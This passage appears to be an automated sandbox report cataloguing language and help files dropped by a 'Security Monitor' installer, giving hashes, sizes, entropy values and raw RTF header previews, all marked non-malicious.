MD5:	7984C74EC410F7A952EBBBB798A09143
SHA1:	10E1E32861C86AA02C81D824CAEEB670DC2FD1F8
SHA-256:	922B12112DE9715D7164050920AE36A5AA44FB3346DF447C6ADB5ADF36483F69
SHA-512:	34B6C3E0E3FADC4AB057411FF42B6DEB01E3B70297A357358BC27E5A5A802D68B50BA01EB1DA42E922B00DA3C0F5E58330F9A751D496E107BBAE0FFC2E2B31BE
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}{\f38\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604030504040204}Tahoma;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\english\sound.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	44859
Entropy (8bit):	5.042653911286004
Encrypted:	false
SSDEEP:	768:qqFy4a4jfDCcJJrNgVVhGPNhHwGNjm+epnqdxBBdwwZxsAUtcGuermSShpHlfcXX:qqJ9aqMIA9Z
MD5:	0692A56E310ADDB8AB518DFF420373E6
SHA1:	1855B76BA5A77F96D7ED04FECD78342BB3902517
SHA-256:	821D367CFEC38EEB7BFC2635ECC1B8938802D5D4071AFFA380BF5D3DA32BBA8A
SHA-512:	FE0C99F78A2807F06ECE7E94CFD9EBAD74E65FE2E9A8619D1EB3FD9CA68FA1F80AEA29D7FE1CD0AA7CEC6DD0404070E99FBD1B14DE5409CAB94703B2C679083C
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}{\f38\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604030504040204}Tahoma;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\english\video.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	48084
Entropy (8bit):	5.035611454104282
Encrypted:	false
SSDEEP:	768:qqFy4a4jfDCcJJrNgVVhGPNhHwGNjm+epnq/x7yjxNQwr8AUmQryuj8QDc3n3g3x:qqJ9aqbIA9b
MD5:	EF57D23344C66880C6A38F743FD3FF0E
SHA1:	FC336BCC92580A0D367CB5B3604EE0040CC08492
SHA-256:	E36C9442648C0564C6AD9AC6074EC2B5023BBEBF291708977714AD977DDC1633
SHA-512:	C336736ADD43033E4BEA538EDAD809127C1ECF80DA20FCD3E02065E310919529E44C5CF57D0FD24EA295FAE367BFE7F7C52465E18863D0B2AF37188EA069502F
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}{\f38\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604030504040204}Tahoma;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\english\websites.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	42784
Entropy (8bit):	5.040903024418766
Encrypted:	false
SSDEEP:	768:qqFkwx1eXCpMF2njX8x3JLjwUtqYepjRBcnjX8x3D5xoYAo79Q88T27Z/6A9I:qqRbnIA9I
MD5:	6A4574B9B32C4BC5A6F9B7825A003942
SHA1:	30BB8557175BD91B06453AA8017FA35754D870C6
SHA-256:	6EB4E3BD1DDD9B08957F4B2EC49482EB8C6A083F812703F28A51EDD2E1B65DCB
SHA-512:	2A220BD4DCE899F86CA79DB7F977362554CD80AB72BCC9EB24A28FA4D72B0F0A617655B76ACEEF6991273AA459CD1C7BF29FBB5EFE4C1E9C30CD900124E2BE81
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff31507\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset204\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\pano

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\french.lng (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Unicode text, UTF-8 (with BOM) text, with CRLF line terminators
Category:	dropped
Size (bytes):	20359
Entropy (8bit):	4.977393911384311
Encrypted:	false
SSDEEP:	384:Ui/yM5JVBb8Mc2MfcwNx0TiTtGNleNglf8sj1AzDqqSo:UFGYD+icNleNhcIGqd
MD5:	3115ABE2CF8075BB08D1B7EA95180E7E
SHA1:	752F7833223EDB298E903C9731E78A3109E026D3
SHA-256:	156C2CDE62ABF6D9289B85054F707FA8777A722EC2DDBC0615544A216E633133
SHA-512:	C5DE077A294349896E2D846808806AF67B9E29E7EC1358B763A8F66381F839983A4ADE4C751A8A36C84EE20E8ADD1E5F869759000F527284F4312D9803617BC3
Malicious:	false
Reputation:	unknown
Preview:	.[LngFile]..###############################################################################..####### Attention! Do Not change the key phrases left of sign "="! ############..###############################################################################..tbStart="Commencez"..tbStartHint="Activez le journal de bord"..tbStop="Arr.tez "..tbStopHint="D.sactivez le journal de bord"..tbFind="Trouvez"..tbFindHint="Recherchez des informations dans le journal de bord"..tbSetting="Param.tres"..tbSettingHint="Les param.tres du programme"..tbAbout=". propos"..tbAboutHint=". propos / informations de journal de bord"..tbHomePage="Page d'accueil"..tbHomePageHint="Allez . la page d'accueil du programme"..tbToday="Aujourd'hui"..tbTodayHint="Allez dans journal de bord d.aujourd'hui"..tbHide="Masquez"..tbHideHint="Le mode furtif (pas d'ic.ne dans la zone de notification)"..tbMinimize="Minimisez"..tbMinimizeHint="Minimisez au magasin"..tbExit="Quittez"..tbExitHint=" Quittez et arr.tez le jour

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\french\SN.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
Category:	dropped
Size (bytes):	44178
Entropy (8bit):	5.050546012194347
Encrypted:	false
SSDEEP:	768:Vk13ixj2HiBkyKWm+m2NjrOX/zJSYctuTZ4Y+2XrXZ3iE8f32HNzQf3IUBwkl2/j:VkeWY4TJ
MD5:	8C6D29E2A257F91393950B5369539D50
SHA1:	674B7489A1DDF7B46040AC571F3DACCEA00F0162
SHA-256:	9A4326ABEFF7FEABB451943D15DC7CDD41DB433BE2A450BFF0C024E0302C6BA2
SHA-512:	81E81D6E6920F9E3B5D601209CE5C79343EE95B4BED07C6788A30B8E48F337E8D73918291634E98644AA3BE96A6E171F9F610FD33EEDDB6B1D17DD9E1A25FA64
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff0\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang3082\deflangfe3082\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset0\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset0\fprq2{\\panose 020f0502020204030204}Calibri;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset0\fprq2{\\panose 0204050305040603020

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\french\activity.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
Category:	dropped
Size (bytes):	37414
Entropy (8bit):	5.037445111384111
Encrypted:	false
SSDEEP:	768:VkGN4JS0TaGC5X2kccMG+vK5j8kES638TFeq4Tf:VkHA4Tf
MD5:	EEF6FD9574018AB7519DF0FE47A51EAD
SHA1:	58D45358315413816630C67BC892C7B20B986589
SHA-256:	8B7C442F64A83CF255F5A9B2EC6A9152A697A4198033C1727A63F1CCCF340231
SHA-512:	90D71196AFFFCFA83AC1F0DF325B18FF8871D9B45934676BD7105D8FEBF2EAF15C6AB4E0ABB93FBAE9A160F3B6197102117E527A8FDE66BA50E7A2AE0A03493C
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff0\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang3082\deflangfe3082\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria Math;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\flominor\f31504\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbminor\f31505\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\fhi

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\french\alarms.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
Category:	dropped
Size (bytes):	37144
Entropy (8bit):	5.0396581331661805
Encrypted:	false
SSDEEP:	768:VkGN4JtOiBkyKWm+XnvKT0+3HEXL6LhyXWx2jUvJq4TU:VkHHR4TU
MD5:	3EE19309BA4E122B381C9DFD89AC3E83
SHA1:	5B5AD1A494BFE593C8A74BED71A60BAA2F47AFC2
SHA-256:	2E73E1CC938915B084B13D3E93931B5FC5DB48ECBDDCB5D14B0684F919A18067
SHA-512:	B9ABFE6A3327565F79F2488CA67DD18D3053DDA2C5F7A52F0521F77942B69E7133EA88687E7EAAD73F53A7D6280A92A91A269DC8CBCEBF896D2D9C044073EB58
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff0\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang3082\deflangfe3082\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria Math;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\flominor\f31504\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbminor\f31505\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\fhi

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\french\clipboard.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	36715
Entropy (8bit):	5.031988851778873
Encrypted:	false
SSDEEP:	768:w4FkNxjETicPI0QhhiLVDfpZMHDMI4ZlZ/6A9T:w4G3UnnIA9T
MD5:	3782483D6EE007A1D36CF22E4377E736
SHA1:	28407BF172DD8CE139D46271AA509A64AE3C96E4
SHA-256:	6E7E08A47C098030ADE2040BB9605B271619E9D57FB57BF9C2895710B64485A9
SHA-512:	7AC317D52EADCF7EE5C9B1244FAA030376953ECD7227F0735D8755BDE2F6E483DA6D8D629A8D978A16EF1969D94DBFBAF6342B3BFFAA58BF61B2874959A4E2A2
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff0\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset204\fprq2{\\panose 020f0502020204030204}Calibri;}..{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria;}{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\*\panose 02020603050405020304}Times New Roman;}{\fdbmi

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\french\delivery.rtf (copy)

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	78397
Entropy (8bit):	4.994922160783421
Encrypted:	false
SSDEEP:	1536:w4ZCmyp6N8nvBnhv+yyW6OjFwLYbJcmTaIwIA9h:wAFjmuND
MD5:	52630AF15CE5E8DF4DFBAD1E2CECBDCC
SHA1:	7D5A3ED6E274227C05486B222C5B348A4489B96E
SHA-256:	08CBE91EB083B28FA50DBA66B6386FB3446958F27BD31B5EAD83824EE236D9D3
SHA-512:	43AAB356956B2C61E72CA87EF2AB966EB9BEB23B8A414B017DC6E2061A594556D696E705A346E442B6BE21C798D2720B61515C9ABE5A8582D6F6654829909893
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1251\uc1\adeff0\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang1049\deflangfe1049\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset204\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria Math;}{\flomajor\f31500\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset204\fprq2{\\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}{\flominor\f31504\fbidi \froman\fcharset204\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbminor\f31505\fbidi \froman\fcharset204\fprq2{\*\panose 02020603050405020304}Time

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\french\is-2V9JN.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
Category:	dropped
Size (bytes):	44178
Entropy (8bit):	5.050546012194347
Encrypted:	false
SSDEEP:	768:Vk13ixj2HiBkyKWm+m2NjrOX/zJSYctuTZ4Y+2XrXZ3iE8f32HNzQf3IUBwkl2/j:VkeWY4TJ
MD5:	8C6D29E2A257F91393950B5369539D50
SHA1:	674B7489A1DDF7B46040AC571F3DACCEA00F0162
SHA-256:	9A4326ABEFF7FEABB451943D15DC7CDD41DB433BE2A450BFF0C024E0302C6BA2
SHA-512:	81E81D6E6920F9E3B5D601209CE5C79343EE95B4BED07C6788A30B8E48F337E8D73918291634E98644AA3BE96A6E171F9F610FD33EEDDB6B1D17DD9E1A25FA64
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff0\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang3082\deflangfe3082\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset0\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset0\fprq2{\\panose 020f0502020204030204}Calibri;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset0\fprq2{\\panose 0204050305040603020

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\french\is-448BV.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
Category:	dropped
Size (bytes):	44025
Entropy (8bit):	5.051099948351621
Encrypted:	false
SSDEEP:	768:Vk1q34J9zZenGLQ4oaqVYmSSlSQ4KxTmmqoRWhsPVafhFuogRkPcStxSUeXeq4Ts:VklnIqi4Ts
MD5:	FCD907A82F0CC0B40AB352E6A1D330A9
SHA1:	AB3E2A7ED7791D51D6656A5A133A09CB87A98688
SHA-256:	20618AE093716DFFBF4B00CEBAADE7A5E33D628858BE3B81DD766343752CA2EF
SHA-512:	260890BB6352AE544AFA660DB1CF91CC1CDF5A2843F753F9291F1DB96E7B7E7E1BA10960E48A58F9B42CDD20CFE33C27A10A0A522A713EE8D95711A8ED31A307
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff0\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang3082\deflangfe3082\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset0\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset0\fprq2{\\panose 020f0502020204030204}Calibri;}{\f38\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604030504040204}Tahoma;}..{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\french\is-A6IR7.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
Category:	dropped
Size (bytes):	44713
Entropy (8bit):	5.051900255865599
Encrypted:	false
SSDEEP:	768:Vk1q34J9zZenGLQ4oaqVYmSSlSQ4KxTmmqARQOjeF/RS+Lp9XhPXhnPnCLTXM40K:VklnIqxR4Td
MD5:	1BD599E9D3E51995F3F39B6B680BCF5D
SHA1:	E0192B60533DD734AD8B4500125A25E78A48E551
SHA-256:	3894B01C5A095E0EA124AE6FE638F75990FB12D96FFD000EDAAD43D9399D5DEF
SHA-512:	726F4E9BED9C4CBF56AC082A81512ED842EADC28028FD6A8895954C4E946F20681E8C6A28236674E3B1006538E10EC2F5974C4F115D74DD1928E7DC2ABA3FF07
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff0\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang3082\deflangfe3082\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f2\fbidi \fmodern\fcharset0\fprq1{\\panose 02070309020205020404}Courier New;}{\f3\fbidi \froman\fcharset2\fprq2{\\panose 05050102010706020507}Symbol;}{\f10\fbidi \fnil\fcharset2\fprq2{\\panose 05000000000000000000}Wingdings;}..{\f34\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset0\fprq2{\\panose 020f0502020204030204}Calibri;}{\f38\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604030504040204}Tahoma;}..{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\french\is-DMK36.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1252, default middle east language ID 1025
Category:	dropped
Size (bytes):	53715
Entropy (8bit):	5.038599976742919
Encrypted:	false
SSDEEP:	768:Vk13TxjelQcX09coHJreOYSN4UIRopZMggLBbWm6V6ER4IE5RP9lIXsqJo6vjo4S:VkLjcv4TI
MD5:	6E82D6B3AAD2EAEC506AA8ABD4728C58
SHA1:	622141D986976DC0ADB2DB17698DBC082BE74674
SHA-256:	91A6F151A727086D36660F130446F70FE6115808C5E56FA36FC82A8CAE25A481
SHA-512:	B0C477686E7583EF9412912A72A7644F80D20EB8EF904E7B0A3F2F89D4B2DB0DD7FC9FDB61B4969787AAE3C931D1B15EA8BAE1BC07CE3D340F40CD3D182804A9
Malicious:	false
Reputation:	unknown
Preview:	{\rtf1\adeflang1025\ansi\ansicpg1252\uc1\adeff0\deff0\stshfdbch0\stshfloch31506\stshfhich31506\stshfbi31506\deflang3082\deflangfe3082\themelang1049\themelangfe0\themelangcs0{\fonttbl{\f0\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\f1\fbidi \fswiss\fcharset0\fprq2{\\panose 020b0604020202020204}Arial;}..{\f34\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria Math;}{\f37\fbidi \fswiss\fcharset0\fprq2{\\panose 020f0502020204030204}Calibri;}{\flomajor\f31500\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}..{\fdbmajor\f31501\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\fhimajor\f31502\fbidi \froman\fcharset0\fprq2{\\panose 02040503050406030204}Cambria;}..{\fbimajor\f31503\fbidi \froman\fcharset0\fprq2{\\panose 02020603050405020304}Times New Roman;}{\flominor\f31504\fbidi \froman\fcharset0\fprq2{\*\panose 02020603050405020304}Times New Roman;}..{\fdbminor\f31505\fbidi \

C:\ProgramData\Security Monitor\{827D21CC-A22D-45D6-23CA-451DDAC769BA}\lng\french\is-DU2DM.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\is-PQ3FT.tmp\[space]= .tmp
File Type:	Rich Text Format data, version 1, ANSI, code page 1251, default middle east language ID 1025
Category:	dropped
Size (bytes):	42991
Entropy (8bit):	5.042023549126302
Encrypted:	false
SSDEEP:	768:wqFkwxjeVGh+DoLLXI1nhDGi3w2EHlT2njX8x3DGRlBB42Nn92knS7eOZ/6A97:wqR3zIA97
MD5:	4406D386834A212EB3AD85B6410AEE1B
SHA1:	FE40A4177AEBEF814E9104273942637E62180E61
